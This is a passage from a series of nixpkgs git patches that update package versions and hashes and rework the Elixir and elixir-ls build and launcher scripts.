+    "sha256": "cff2d5270b5702b5813f662af7e1f0a741ea3a1052cc81629de6eee1d5a767bd"
   },
   "images-list": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.32.5%2Bk3s1/k3s-images.txt",
-    "sha256": "aa8e10337aef453cb17e6408dbaec9eb2da409ca6ba1f8bc7332fcef97fdaf3a"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.32.6%2Bk3s1/k3s-images.txt",
+    "sha256": "637ccb5f5a8f4a7d13991cb3060f05b8c7c46e7351e0edae351f9ad23bb51631"
   }
 }
diff --git a/pkgs/applications/networking/cluster/k3s/1_32/versions.nix b/pkgs/applications/networking/cluster/k3s/1_32/versions.nix
index 4aa03d7f48eb..b8dea807d758 100644
--- a/pkgs/applications/networking/cluster/k3s/1_32/versions.nix
+++ b/pkgs/applications/networking/cluster/k3s/1_32/versions.nix
@@ -1,14 +1,14 @@
 {
-  k3sVersion = "1.32.5+k3s1";
-  k3sCommit = "8e8f2a4726fdb4ca628eb62b2a526b64d0e6a763";
-  k3sRepoSha256 = "02qsw00f0k0kv93xws96np3fj3rdynnhjhk41a58kic1mnbgm8ss";
-  k3sVendorHash = "sha256-BZs3tgUtcLw1mqaAyOCwg6bhmeQbUGCE9wsbPSG61t4=";
+  k3sVersion = "1.32.6+k3s1";
+  k3sCommit = "eb603acd1530edcaf79a4a8ed3da54e9e03d9967";
+  k3sRepoSha256 = "05py458rdrys1hkw8rg62c98lnwjij5zby8n2zkl1kbfqy12adln";
+  k3sVendorHash = "sha256-K8vlX8rucbAOCxHbgrWHsMBWiRc/98IJVCYS8UD+ZsI=";
   chartVersions = import ./chart-versions.nix;
   imagesVersions = builtins.fromJSON (builtins.readFile ./images-versions.json);
   k3sRootVersion = "0.14.1";
   k3sRootSha256 = "0svbi42agqxqh5q2ri7xmaw2a2c70s7q5y587ls0qkflw5vx4sl7";
-  k3sCNIVersion = "1.6.0-k3s1";
-  k3sCNISha256 = "0g7zczvwba5xqawk37b0v96xysdwanyf1grxn3l3lhxsgjjsmkd7";
+  k3sCNIVersion = "1.7.1-k3s1";
+  k3sCNISha256 = "0k1qfmsi5bqgwd5ap8ndimw09hsxn0cqf4m5ad5a4mgl6akw6dqz";
   containerdVersion = "2.0.5-k3s1.32";
   containerdSha256 = "1la7ygx5caqfqk025wyrxmhjb0xbpkzwnxv52338p33g68sb3yb0";
   criCtlVersion = "1.31.0-k3s2";

From 1208d42d851c3c89208ee992eefc8dc838a0a997 Mon Sep 17 00:00:00 2001
From: Thibaut Smith <thibaut.smith@mailbox.org>
Date: Tue, 15 Jul 2025 23:19:54 +0200
Subject: [PATCH 2584/4511] matrix-authentication-service: add version check
 hook

(cherry picked from commit 57e67726df9b45f943054595bfac63ee3612f37f)

Additionally, versionCheckProgram is being set because versionCheckHook
on master has different behavior.
---
 pkgs/by-name/ma/matrix-authentication-service/package.nix | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/pkgs/by-name/ma/matrix-authentication-service/package.nix b/pkgs/by-name/ma/matrix-authentication-service/package.nix
index eb2f6904a3c0..e36c3ae3e1d6 100644
--- a/pkgs/by-name/ma/matrix-authentication-service/package.nix
+++ b/pkgs/by-name/ma/matrix-authentication-service/package.nix
@@ -12,6 +12,8 @@
   stdenv,
   open-policy-agent,
   cctools,
+  nix-update-script,
+  versionCheckHook,
 }:
 
 rustPlatform.buildRustPackage (finalAttrs: {
@@ -83,6 +85,12 @@ rustPlatform.buildRustPackage (finalAttrs: {
     cp -r translations   "$out/share/$pname/translations"
   '';
 
+  nativeInstallCheckInputs = [ versionCheckHook ];
+  versionCheckProgram = "${placeholder "out"}/bin/${finalAttrs.meta.mainProgram}";
+  versionCheckProgramArg = "--version";
+  doInstallCheck = true;
+  passthru.updateScript = nix-update-script { };
+
   meta = {
     description = "OAuth2.0 + OpenID Provider for Matrix Homeservers";
     homepage = "https://github.com/element-hq/matrix-authentication-service";

From ab0a4b5567306cc16a774a4d8013f1adbaef56b6 Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Fri, 4 Jul 2025 17:08:45 +0200
Subject: [PATCH 2585/4511] gradle_7: 7.6.5 -> 7.6.6

Release notes: https://github.com/gradle/gradle/releases/tag/v7.6.6
Full changelog: https://github.com/gradle/gradle/compare/v7.6.5...v7.6.6

(cherry picked from commit 85dec7df938b7d90e580df411f0b63e1a5ce1415)
---
 pkgs/development/tools/build-managers/gradle/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/tools/build-managers/gradle/default.nix b/pkgs/development/tools/build-managers/gradle/default.nix
index 69547ad9d803..2687a199d351 100644
--- a/pkgs/development/tools/build-managers/gradle/default.nix
+++ b/pkgs/development/tools/build-managers/gradle/default.nix
@@ -231,8 +231,8 @@ rec {
   };
 
   gradle_7 = gen {
-    version = "7.6.5";
-    hash = "sha256-uBL+wO230n4K41lViHuylUU2+j5E7a9IEVDaBY4VTZo=";
+    version = "7.6.6";
+    hash = "sha256-Zz2XdvMDvHBI/DMp0jLW6/EFGweJO9nRFhb62ahnO+A=";
     defaultJava = jdk17;
   };
 

From 614d61a4f7bd6882f84f3b76127ae928bb9f0e79 Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Fri, 4 Jul 2025 17:12:04 +0200
Subject: [PATCH 2586/4511] gradle_8: 8.14.2 -> 8.14.3

Release notes: https://github.com/gradle/gradle/releases/tag/v8.14.3
Full changelog: https://github.com/gradle/gradle/compare/v8.14.2...v8.14.3

(cherry picked from commit a70581ef626e844a8276bffd56a81f823f2c684f)
---
 pkgs/development/tools/build-managers/gradle/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/tools/build-managers/gradle/default.nix b/pkgs/development/tools/build-managers/gradle/default.nix
index 69547ad9d803..ab357f035ad6 100644
--- a/pkgs/development/tools/build-managers/gradle/default.nix
+++ b/pkgs/development/tools/build-managers/gradle/default.nix
@@ -225,8 +225,8 @@ rec {
   # https://docs.gradle.org/current/userguide/compatibility.html
 
   gradle_8 = gen {
-    version = "8.14.2";
-    hash = "sha256-cZehL0UHlJMVMkadT/IaWeosHNWaPsP4nANcPEIKaZk=";
+    version = "8.14.3";
+    hash = "sha256-vXEQIhNJMGCVbsIp2Ua+7lcVjb2J0OYrkbyg+ixfNTE=";
     defaultJava = jdk21;
   };
 

From 1c10909eea3b6fe7ed6bc4681c50296fe7cbb455 Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Tue, 8 Jul 2025 13:54:59 -0400
Subject: [PATCH 2587/4511] elixir: add stdlib source and fix deterministic
 builds

(cherry picked from commit 480d93609df29cd3a244f112a76239cceab8aaed)
---
 .../interpreters/elixir/generic-builder.nix   | 32 +++++++++++--------
 1 file changed, 18 insertions(+), 14 deletions(-)

diff --git a/pkgs/development/interpreters/elixir/generic-builder.nix b/pkgs/development/interpreters/elixir/generic-builder.nix
index d014d0cab673..4a15f07b3f58 100644
--- a/pkgs/development/interpreters/elixir/generic-builder.nix
+++ b/pkgs/development/interpreters/elixir/generic-builder.nix
@@ -1,5 +1,4 @@
 {
-  pkgs,
   lib,
   stdenv,
   fetchFromGitHub,
@@ -32,7 +31,7 @@ let
     assertMsg
     concatStringsSep
     getVersion
-    optional
+    optionals
     optionalString
     toInt
     versions
@@ -67,11 +66,13 @@ let
       "${coreutils}/bin/env $out/bin/elixir"
     else
       "$out/bin/elixir";
+
+  erlc_opts = [ "deterministic" ] ++ optionals debugInfo [ "debug_info" ];
 in
 assert assertMsg (versionAtLeast (getVersion erlang) minimumOTPVersion) compatibilityMsg;
 assert assertMsg maxAssert compatibilityMsg;
 
-stdenv.mkDerivation ({
+stdenv.mkDerivation {
   pname = "${baseName}";
 
   inherit src version debugInfo;
@@ -79,20 +80,23 @@ stdenv.mkDerivation ({
   nativeBuildInputs = [ makeWrapper ];
   buildInputs = [ erlang ];
 
-  LANG = "C.UTF-8";
-  LC_TYPE = "C.UTF-8";
-
-  ERLC_OPTS =
-    let
-      erlc_opts = [ "deterministic" ] ++ optional debugInfo "debug_info";
-    in
-    "[${concatStringsSep "," erlc_opts}]";
+  env = {
+    LANG = "C.UTF-8";
+    LC_TYPE = "C.UTF-8";
+    DESTDIR = placeholder "out";
+    PREFIX = "/";
+    ERL_COMPILER_OPTIONS = "[${concatStringsSep "," erlc_opts}]";
+  };
 
   preBuild = ''
     patchShebangs ${escriptPath} || true
+  '';
 
-    substituteInPlace Makefile \
-      --replace "/usr/local" $out
+  # copy stdlib source files for LSP access
+  postInstall = ''
+    for d in lib/*; do
+      cp -R "$d/lib" "$out/lib/elixir/$d"
+    done
   '';
 
   postFixup = ''
@@ -134,4 +138,4 @@ stdenv.mkDerivation ({
     platforms = platforms.unix;
     teams = [ teams.beam ];
   };
-})
+}

From 08275725ffcb9eb4a232a0db38d0e68c09f1f966 Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Tue, 8 Jul 2025 13:55:55 -0400
Subject: [PATCH 2588/4511] elixir-ls: explicitly load elixir stdlib path

(cherry picked from commit 2b32c9ad86f44c61be42d3a0af888746dbaa2e50)
---
 .../beam-modules/elixir-ls/default.nix        |  67 ++++---
 .../beam-modules/elixir-ls/launch.sh.patch    | 169 ++++++++++++++++++
 2 files changed, 201 insertions(+), 35 deletions(-)
 create mode 100644 pkgs/development/beam-modules/elixir-ls/launch.sh.patch

diff --git a/pkgs/development/beam-modules/elixir-ls/default.nix b/pkgs/development/beam-modules/elixir-ls/default.nix
index a683c6b126cd..237838bc337b 100644
--- a/pkgs/development/beam-modules/elixir-ls/default.nix
+++ b/pkgs/development/beam-modules/elixir-ls/default.nix
@@ -1,31 +1,26 @@
 {
   lib,
   elixir,
+  fetchpatch,
   fetchFromGitHub,
   fetchMixDeps,
+  makeWrapper,
   mixRelease,
   nix-update-script,
 }:
-# Based on the work of Hauleth
-# None of this would have happened without him
 
-let
+mixRelease rec {
   pname = "elixir-ls";
   version = "0.28.1";
+
   src = fetchFromGitHub {
     owner = "elixir-lsp";
     repo = "elixir-ls";
     rev = "v${version}";
     hash = "sha256-r4P+3MPniDNdF3SG2jfBbzHsoxn826eYd2tsv6bJBoI=";
   };
-in
-mixRelease {
-  inherit
-    pname
-    version
-    src
-    elixir
-    ;
+
+  inherit elixir;
 
   stripDebug = true;
 
@@ -35,43 +30,45 @@ mixRelease {
     hash = "sha256-8zs+99jwf+YX5SwD65FCPmfrYhTCx4AQGCGsDeCKxKc=";
   };
 
-  # elixir-ls is an umbrella app
-  # override configurePhase to not skip umbrella children
-  configurePhase = ''
-    runHook preConfigure
-    mix deps.compile --no-deps-check
-    runHook postConfigure
-  '';
+  patches = [
+    # fix elixir deterministic support https://github.com/elixir-lsp/elixir-ls/pull/1216
+    # remove > 0.28.1
+    (fetchpatch {
+      url = "https://github.com/elixir-lsp/elixir-ls/pull/1216.patch";
+      hash = "sha256-J1Q7XQXWYuCMq48e09deQU71DOElZ2zMTzrceZMky+0=";
+    })
+
+    # patch wrapper script to remove elixir detection and inject necessary paths
+    ./launch.sh.patch
+  ];
+
+  nativeBuildInputs = [
+    makeWrapper
+  ];
 
   # elixir-ls require a special step for release
   # compile and release need to be performed together because
   # of the no-deps-check requirement
   buildPhase = ''
     runHook preBuild
+
     mix do compile --no-deps-check, elixir_ls.release${lib.optionalString (lib.versionAtLeast elixir.version "1.16.0") "2"}
+
     runHook postBuild
   '';
 
   installPhase = ''
-    runHook preInstall
     mkdir -p $out/bin
-    cp -Rv release $out/lib
-    # Prepare the wrapper script
-    substitute release/language_server.sh $out/bin/elixir-ls \
-      --replace 'exec "''${dir}/launch.sh"' "exec $out/lib/launch.sh"
-    chmod +x $out/bin/elixir-ls
+    cp -Rv release $out/libexec
+
+    substituteAllInPlace $out/libexec/launch.sh
+
+    makeWrapper $out/libexec/language_server.sh $out/bin/elixir-ls \
+      --set ELS_INSTALL_PREFIX "$out/libexec"
+
+    makeWrapper $out/libexec/debug_adapter.sh $out/bin/elixir-debug-adapter \
+      --set ELS_INSTALL_PREFIX "$out/libexec"
 
-    substitute release/debug_adapter.sh $out/bin/elixir-debug-adapter \
-      --replace 'exec "''${dir}/launch.sh"' "exec $out/lib/launch.sh"
-    chmod +x $out/bin/elixir-debug-adapter
-    # prepare the launchers
-    substituteInPlace $out/lib/launch.sh \
-      --replace "ERL_LIBS=\"\$SCRIPTPATH:\$ERL_LIBS\"" \
-                "ERL_LIBS=$out/lib:\$ERL_LIBS" \
-      --replace "exec elixir" "exec ${elixir}/bin/elixir" \
-      --replace 'echo "" | elixir' "echo \"\" | ${elixir}/bin/elixir"
-    substituteInPlace $out/lib/exec.zsh \
-      --replace "exec elixir" "exec ${elixir}/bin/elixir"
     runHook postInstall
   '';
 
diff --git a/pkgs/development/beam-modules/elixir-ls/launch.sh.patch b/pkgs/development/beam-modules/elixir-ls/launch.sh.patch
new file mode 100644
index 000000000000..aabfd82a3d58
--- /dev/null
+++ b/pkgs/development/beam-modules/elixir-ls/launch.sh.patch
@@ -0,0 +1,169 @@
+diff --git i/scripts/launch.sh w/scripts/launch.sh
+index 21afbb1e..975cbdf0 100755
+--- i/scripts/launch.sh
++++ w/scripts/launch.sh
+@@ -1,125 +1,4 @@
+-#!/bin/sh
+-# Actual launcher. This does the hard work of figuring out the best way
+-# to launch the language server or the debug adapter.
+-
+-# Running this script is a one-time action per project launch, so we opt for
+-# code simplicity instead of performance. Hence some potentially redundant
+-# moves here.
+-
+-
+-did_relaunch=$1
+-
+-# Get the user's preferred shell
+-preferred_shell=$(basename "$SHELL")
+-
+-# Get current dirname
+-dirname=$(dirname "$0")
+-
+-case "${did_relaunch}" in
+-  "")
+-    if [ "$preferred_shell" = "bash" ]; then
+-      >&2 echo "Preferred shell is bash, relaunching"
+-      exec "$(which bash)" "$0" relaunch
+-    elif [ "$preferred_shell" = "zsh" ]; then
+-      >&2 echo "Preferred shell is zsh, relaunching"
+-      exec "$(which zsh)" "$0" relaunch
+-    elif [ "$preferred_shell" = "fish" ]; then
+-      >&2 echo "Preferred shell is fish, launching launch.fish"
+-      exec "$(which fish)" "$dirname/launch.fish"
+-    else
+-      >&2 echo "Preferred shell $preferred_shell is not supported, continuing in POSIX shell"
+-    fi
+-    ;;
+-  *)
+-    # We have an arg2, so we got relaunched
+-    ;;
+-esac
+-
+-# First order of business, see whether we can setup asdf
+-echo "Looking for asdf install" >&2
+-
+-readlink_f () {
+-  cd "$(dirname "$1")" > /dev/null || exit 1
+-  filename="$(basename "$1")"
+-  if [ -h "$filename" ]; then
+-    readlink_f "$(readlink "$filename")"
+-  else
+-    echo "$(pwd -P)/$filename"
+-  fi
+-}
+-
+-export_stdlib_path () {
+-  which_elixir_expr=$1
+-  stdlib_path=$(eval "$which_elixir_expr")
+-  stdlib_real_path=$(readlink_f "$stdlib_path")
+-  ELX_STDLIB_PATH=$(echo "$stdlib_real_path" | sed "s/\(.*\)\/bin\/elixir/\1/")
+-  export ELX_STDLIB_PATH
+-}
+-
+-# Check if we have the asdf binary for version >= 0.16.0
+-if command -v asdf >/dev/null 2>&1; then
+-    asdf_version=$(asdf --version 2>/dev/null)
+-    version=$(echo "$asdf_version" | grep -Eo '[0-9]+\.[0-9]+\.[0-9]+')
+-    major=$(echo "$version" | cut -d. -f1)
+-    minor=$(echo "$version" | cut -d. -f2)
+-    # If the version is less than 0.16.0 (i.e. major = 0 and minor < 16), use legacy method.
+-    if [ "$major" -eq 0 ] && [ "$minor" -lt 16 ]; then
+-        ASDF_DIR=${ASDF_DIR:-"${HOME}/.asdf"}
+-        ASDF_SH="${ASDF_DIR}/asdf.sh"
+-        if test -f "$ASDF_SH"; then
+-            >&2 echo "Legacy pre v0.16.0 asdf install found at $ASDF_SH, sourcing"
+-            # Source the old asdf.sh script for versions <= 0.15.0
+-            . "$ASDF_SH"
+-        else
+-            >&2 echo "Legacy asdf not found at $ASDF_SH"
+-        fi
+-    else
+-        >&2 echo "asdf executable found at $(command -v asdf). Using ASDF_DIR=${ASDF_DIR}, ASDF_DATA_DIR=${ASDF_DATA_DIR}."
+-    fi
+-    export_stdlib_path "asdf which elixir"
+-else
+-    # Fallback to old method for version <= 0.15.x
+-    ASDF_DIR=${ASDF_DIR:-"${HOME}/.asdf"}
+-    ASDF_SH="${ASDF_DIR}/asdf.sh"
+-    if test -f "$ASDF_SH"; then
+-        >&2 echo "Legacy pre v0.16.0 asdf install found at $ASDF_SH, sourcing"
+-        # Source the old asdf.sh script for versions <= 0.15.0
+-        . "$ASDF_SH"
+-        export_stdlib_path "asdf which elixir"
+-    else
+-        >&2 echo "asdf not found"
+-        >&2 echo "Looking for mise executable"
+-
+-        # Look for mise executable
+-        if command -v mise >/dev/null 2>&1; then
+-            >&2 echo "mise executable found at $(command -v mise), activating"
+-            eval "$($(command -v mise) env -s "$preferred_shell")"
+-            export_stdlib_path "mise which elixir"
+-        else
+-            >&2 echo "mise not found"
+-            >&2 echo "Looking for rtx executable"
+-
+-            # Look for rtx executable
+-            if command -v rtx >/dev/null 2>&1; then
+-                >&2 echo "rtx executable found at $(command -v rtx), activating"
+-                eval "$($(command -v rtx) env -s "$preferred_shell")"
+-                export_stdlib_path "rtx which elixir"
+-            else
+-                >&2 echo "rtx not found"
+-                >&2 echo "Looking for vfox executable"
+-
+-                # Look for vfox executable
+-                if command -v vfox >/dev/null 2>&1; then
+-                    >&2 echo "vfox executable found at $(command -v vfox), activating"
+-                    eval "$($(command -v vfox) activate "$preferred_shell")"
+-                else
+-                    >&2 echo "vfox not found"
+-                    export_stdlib_path "which elixir"
+-                fi
+-            fi
+-        fi
+-    fi
+-fi
++#!/usr/bin/env bash
+ 
+ # In case that people want to tweak the path, which Elixir to use, or
+ # whatever prior to launching the language server or the debug adapter, we
+@@ -138,29 +17,18 @@ fi
+ # script so we can correctly configure the Erlang library path to
+ # include the local .ez files, and then do what we were asked to do.
+ 
+-if [ -z "${ELS_INSTALL_PREFIX}" ]; then
+-  SCRIPT=$(readlink_f "$0")
+-  SCRIPTPATH=$(dirname "$SCRIPT")
+-else
+-  SCRIPTPATH=${ELS_INSTALL_PREFIX}
+-fi
++SCRIPT=$(readlink -f "$0")
++SCRIPTPATH=$(dirname "$SCRIPT")/../libexec
+ 
+ export MIX_ENV=prod
+ # Mix.install prints to stdout and reads from stdin
+ # we need to make sure it doesn't interfere with LSP/DAP
+-echo "" | elixir "$SCRIPTPATH/quiet_install.exs" >/dev/null || exit 1
++echo "" | @elixir@/bin/elixir "$SCRIPTPATH/quiet_install.exs" >/dev/null || exit 1
+ 
+ default_erl_opts="-kernel standard_io_encoding latin1 +sbwt none +sbwtdcpu none +sbwtdio none"
+ 
+-if [ "$preferred_shell" = "bash" ]; then
+-  source "$dirname/exec.bash"
+-elif [ "$preferred_shell" = "zsh" ]; then
+-  source "$dirname/exec.zsh"
+-else
+-  if [ -z "$ELS_ELIXIR_OPTS" ]
+-  then
+-    # in posix shell does not support arrays
+-    >&2 echo "ELS_ELIXIR_OPTS is not supported in current shell"
+-  fi
+-  exec elixir --erl "$default_erl_opts $ELS_ERL_OPTS" "$SCRIPTPATH/launch.exs"
+-fi
++# ensure elixir stdlib can be found
++ELX_STDLIB_PATH=${ELX_STDLIB_PATH:-@elixir@/lib/elixir}
++export ELX_STDLIB_PATH
++
++source "$SCRIPTPATH/exec.bash"

From e0335f12f65c68649958c5d4240578323f838005 Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Tue, 15 Jul 2025 13:12:47 -0400
Subject: [PATCH 2589/4511] elixir_1_17: set maximum OTP version of 27

https://hexdocs.pm/elixir/compatibility-and-deprecations.html
(cherry picked from commit ffd70542a12b1d01bd103adeec3946dd0e6c3a79)
---
 pkgs/development/interpreters/elixir/1.17.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/development/interpreters/elixir/1.17.nix b/pkgs/development/interpreters/elixir/1.17.nix
index 41d72d2ff907..32d6654e11d5 100644
--- a/pkgs/development/interpreters/elixir/1.17.nix
+++ b/pkgs/development/interpreters/elixir/1.17.nix
@@ -4,5 +4,6 @@ mkDerivation {
   sha256 = "sha256-7Qo6y0KAQ9lwD4oH+7wQ4W5i6INHIBDN9IQAAsYzNJw=";
   # https://hexdocs.pm/elixir/1.17.3/compatibility-and-deprecations.html#compatibility-between-elixir-and-erlang-otp
   minimumOTPVersion = "25";
+  maximumOTPVersion = "27";
   escriptPath = "lib/elixir/scripts/generate_app.escript";
 }

From 771fd3915d2015efd4009e21162a76ec4ff8efa1 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 18 Jul 2025 12:17:59 +0000
Subject: [PATCH 2590/4511] signal-desktop: 7.61.0 -> 7.62.0

(cherry picked from commit 24c9f80f7baef47968d9ca156832025b74792921)
---
 pkgs/by-name/si/signal-desktop/package.nix          | 10 +++++-----
 pkgs/by-name/si/signal-desktop/signal-sqlcipher.nix |  4 ++--
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/si/signal-desktop/package.nix b/pkgs/by-name/si/signal-desktop/package.nix
index 19a1f9931c77..68001cd1203b 100644
--- a/pkgs/by-name/si/signal-desktop/package.nix
+++ b/pkgs/by-name/si/signal-desktop/package.nix
@@ -50,13 +50,13 @@ let
     '';
   });
 
-  version = "7.61.0";
+  version = "7.62.0";
 
   src = fetchFromGitHub {
     owner = "signalapp";
     repo = "Signal-Desktop";
     tag = "v${version}";
-    hash = "sha256-foMzSKm2BROZ8ATCdYx/0sl+4tQfhgoPA4AWSHEKL0Y=";
+    hash = "sha256-79Mh5jx7cSr8AVL/oqjuTWQ+DHmyXL19rKlbyNMySt0=";
   };
 
   sticker-creator = stdenv.mkDerivation (finalAttrs: {
@@ -118,15 +118,15 @@ stdenv.mkDerivation (finalAttrs: {
       ;
     hash =
       if withAppleEmojis then
-        "sha256-ry7s9fbKx4e1LR8DlI2LIJY9GQrxmU7JQt+3apJGw/M="
+        "sha256-r+MktwnhmZOUc1NMumrfkTpmUUHUXKB10XKSkxg3GYU="
       else
-        "sha256-AkrfugpNvk4KgesRLQbso8p5b96Dg174R9/xuP4JtJg=";
+        "sha256-raCVDqhtTTsdIn1vjbKW+ULrBefD8+kgJkKHls90KNs=";
   };
 
   env = {
     ELECTRON_SKIP_BINARY_DOWNLOAD = "1";
     SIGNAL_ENV = "production";
-    SOURCE_DATE_EPOCH = 1752109090;
+    SOURCE_DATE_EPOCH = 1752702364;
   };
 
   preBuild = ''
diff --git a/pkgs/by-name/si/signal-desktop/signal-sqlcipher.nix b/pkgs/by-name/si/signal-desktop/signal-sqlcipher.nix
index 6f53f67100ca..75ec743b183e 100644
--- a/pkgs/by-name/si/signal-desktop/signal-sqlcipher.nix
+++ b/pkgs/by-name/si/signal-desktop/signal-sqlcipher.nix
@@ -11,13 +11,13 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "node-sqlcipher";
-  version = "2.0.3";
+  version = "2.1.0";
 
   src = fetchFromGitHub {
     owner = "signalapp";
     repo = "node-sqlcipher";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-H5/+XcXnINRL5BWItWx6YaPP46+k1xTbyfDqHPCRDXk=";
+    hash = "sha256-JYdc3H8PhDLkJH5ApfReq0e7HgKoJaK01JGuzoqftyc=";
   };
 
   pnpmDeps = pnpm.fetchDeps {

From c5d19f8978222107d4af5acdafa2a6358ae8458e Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Fri, 18 Jul 2025 12:06:14 -0400
Subject: [PATCH 2591/4511] spidermonkey_91: mark broken on darwin

has been failing to build on darwin since 2024-12

(cherry picked from commit 3bf5d32898a4c1657306f4aa14fbd71cf95cff35)
---
 pkgs/development/interpreters/spidermonkey/common.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/development/interpreters/spidermonkey/common.nix b/pkgs/development/interpreters/spidermonkey/common.nix
index b500d4dea89c..18d06cdcf92b 100644
--- a/pkgs/development/interpreters/spidermonkey/common.nix
+++ b/pkgs/development/interpreters/spidermonkey/common.nix
@@ -200,7 +200,7 @@ stdenv.mkDerivation (finalAttrs: rec {
       lostnet
       catap
     ];
-    broken = stdenv.hostPlatform.isDarwin && versionAtLeast version "115"; # Requires SDK 13.3 (see #242666).
+    broken = stdenv.hostPlatform.isDarwin; # 91 is broken, >=115 requires SDK 13.3 (see #242666).
     platforms = platforms.unix;
   };
 })

From f39940f5687d417f8c610f2e43691d10b307e835 Mon Sep 17 00:00:00 2001
From: phaer <hello@phaer.org>
Date: Thu, 22 May 2025 00:45:11 +0200
Subject: [PATCH 2592/4511] amazon-image: fix image.extension value for vpc/vhd
 files

vpc files use the extension "vhd". `make-disk-image-nix` contains a
lookup table, but does not expose that. vpc is the only format
supported by the amazon image which is affected. Format and extension
are the same for raw and qcow2.

(cherry picked from commit 8cbc6d6da6d94c53ea87c2aeb14a4f7b7c43258b)
---
 nixos/maintainers/scripts/ec2/amazon-image.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/nixos/maintainers/scripts/ec2/amazon-image.nix b/nixos/maintainers/scripts/ec2/amazon-image.nix
index a192b91196de..e0bb2b6d50ef 100644
--- a/nixos/maintainers/scripts/ec2/amazon-image.nix
+++ b/nixos/maintainers/scripts/ec2/amazon-image.nix
@@ -88,7 +88,7 @@ in
 
   config.system.nixos.tags = [ "amazon" ];
   config.system.build.image = config.system.build.amazonImage;
-  config.image.extension = cfg.format;
+  config.image.extension = if cfg.format == "vpc" then "vhd" else cfg.format;
 
   config.system.build.amazonImage =
     let

From 3b593dd7557d4bbf540ebc478f9cf1b8173fabbf Mon Sep 17 00:00:00 2001
From: phaer <hello@phaer.org>
Date: Fri, 23 May 2025 12:22:46 +0200
Subject: [PATCH 2593/4511] sd-image: Fix image.filePath directory prefix

(cherry picked from commit 037a064feb3a53f2a81094fc701e6cb59fc063a7)
---
 nixos/modules/installer/sd-card/sd-image.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/nixos/modules/installer/sd-card/sd-image.nix b/nixos/modules/installer/sd-card/sd-image.nix
index d96216c4ae17..ff690bac5c7c 100644
--- a/nixos/modules/installer/sd-card/sd-image.nix
+++ b/nixos/modules/installer/sd-card/sd-image.nix
@@ -206,7 +206,7 @@ in
     sdImage.storePaths = [ config.system.build.toplevel ];
 
     image.extension = if config.sdImage.compressImage then "img.zst" else "img";
-    image.filePath = "sd-card/${config.image.fileName}";
+    image.filePath = "sd-image/${config.image.fileName}";
     system.nixos.tags = [ "sd-card" ];
     system.build.image = config.system.build.sdImage;
     system.build.sdImage = pkgs.callPackage (

From 43e97212f60ee48faee347e847ed555a6d4083f2 Mon Sep 17 00:00:00 2001
From: phaer <hello@phaer.org>
Date: Fri, 23 May 2025 12:24:32 +0200
Subject: [PATCH 2594/4511] openstack-image-zfs: drop ".root" suffix in
 generated image name

hydra-build-products is automatically updated with the right name, as
is image-info.json.

This breaks hardcoded uses of the filename, but ensures that all the
other outputs are consistent and image.filePath is correct

(cherry picked from commit 5aba7c7131db6cff6c4dd4f7e0bf3a0d5fc08b6d)
---
 nixos/maintainers/scripts/openstack/openstack-image-zfs.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/nixos/maintainers/scripts/openstack/openstack-image-zfs.nix b/nixos/maintainers/scripts/openstack/openstack-image-zfs.nix
index 869d5a3c1fc3..2e7cd481584a 100644
--- a/nixos/maintainers/scripts/openstack/openstack-image-zfs.nix
+++ b/nixos/maintainers/scripts/openstack/openstack-image-zfs.nix
@@ -113,7 +113,7 @@ in
       postVM = ''
          extension=''${rootDiskImage##*.}
          friendlyName=$out/${config.image.baseName}
-         rootDisk="$friendlyName.root.$extension"
+         rootDisk="$friendlyName.$extension"
          mv "$rootDiskImage" "$rootDisk"
 
          mkdir -p $out/nix-support

From f1ddf462ce2fba8e671fb43939d322ee93a5fa1b Mon Sep 17 00:00:00 2001
From: phaer <hello@phaer.org>
Date: Fri, 23 May 2025 12:28:53 +0200
Subject: [PATCH 2595/4511] virtualisation/disk-image: fix image.extension

(cherry picked from commit b033e0c4b67084a9e3dae66b9de2e8b7d28edddd)
---
 nixos/modules/virtualisation/disk-image.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/nixos/modules/virtualisation/disk-image.nix b/nixos/modules/virtualisation/disk-image.nix
index c524b6627113..40eea6b1237b 100644
--- a/nixos/modules/virtualisation/disk-image.nix
+++ b/nixos/modules/virtualisation/disk-image.nix
@@ -50,7 +50,7 @@ in
     };
 
     system.nixos.tags = [ cfg.format ] ++ lib.optionals cfg.efiSupport [ "efi" ];
-    image.extension = cfg.format;
+    image.extension = if cfg.format == "raw" then "img" else cfg.format;
     system.build.image = import ../../lib/make-disk-image.nix {
       inherit lib config pkgs;
       inherit (config.virtualisation) diskSize;

From 0b65aa025ae08c83d12f2420f8ca825a0e24ed15 Mon Sep 17 00:00:00 2001
From: qubitnano <146656568+qubitnano@users.noreply.github.com>
Date: Fri, 11 Apr 2025 17:30:09 -0400
Subject: [PATCH 2596/4511] mongodb-7_0: 7.0.16 -> 7.0.21

Fixes: CVE-2025-6706
Fixes: CVE-2025-6707
Fixes: CVE-2025-6709
Fixes: CVE-2025-6710
Fixes: CVE-2025-6711
Fixes: CVE-2025-6713
Fixes: CVE-2025-6714
(cherry picked from commit e16b3be6a04ecc4c752f4885d18b9d260dd6dda2)
---
